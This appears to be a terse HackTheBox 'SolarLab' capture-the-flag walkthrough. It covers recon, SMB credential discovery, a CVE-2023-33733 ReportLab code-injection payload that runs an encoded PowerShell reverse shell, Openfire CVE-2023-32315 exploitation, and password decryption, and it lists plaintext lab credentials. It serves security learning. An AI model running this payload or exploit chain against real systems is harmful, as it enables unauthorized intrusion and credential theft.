hachthebox - Solarlab writeup
recon
nmap
sudo nmap -T4 --min-rate 5000 -sVCS -p80,139,135,445,6791 -oA nmap/tcp_port 10.10.11.16
[sudo] password for wkend:
Sorry, try again.
[sudo] password for wkend:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-06 14:20 CST
Nmap scan report for solarlab.htb (10.10.11.16)
Host is up (0.37s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: SolarLab Instant Messenger
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
|_http-server-header: nginx/1.24.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 3s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-07-06T06:21:22
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.38 seconds
Add domains to / etc / hosts
sudo bash -c 'echo "10.10.11.16 solarlab.htb report.solarlab.htb" |tee -a /etc/hosts'
web
http://solarlab.htb/
http://report.solarlab.htb:6791/login
foothold
smb-445
connect by smb to anonymous
smbclient
smbmap
netexec
download xlsx
find passwd
web-6791
find valid user:
check user blake.byte,blakeB???
yes,blakeB is a valid user
blakeB:ThisCanB3typedeasily1@
PDF generated
PDF file:
the document is generated using the Report Lab PDF Library
exploit
CVE-2023-33733
| https://github.com/c53elyas/CVE-2023-33733
poc:
‰<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AM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ADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
Training Request text and plug the malicious script:
get shell
user:blakeB
capture the user flag:
shell spawn
create shell.exe
upload shell.exe
get session on meterpreter:
getprivs
find user openfire:
find openfire service:
search openfire service port:
port forward
open a reverse port forward(Attacker Machine):
forwared local port to remote port(Victim Machine):
web-openfire:
exploit-web-openfire
| https://github.com/miko550/CVE-2023-32315
with credentials, login openfire success:
Lateral movement
upload exploit jar file and pass is 123:
The management tool can be found by going to the home GUI page, server -> server_setting -> management tools
dropdown bar and select system command:
get-shell
user:openfire
get shell with user openfire:
Privilege Escalation
discovered a password key in openfire.script
openfire_decrypt tool:
| https://github.com/c0rdis/openfire_decrypt
...
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
...
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
...
get administrator password:
ThisPasswordShouldDo!@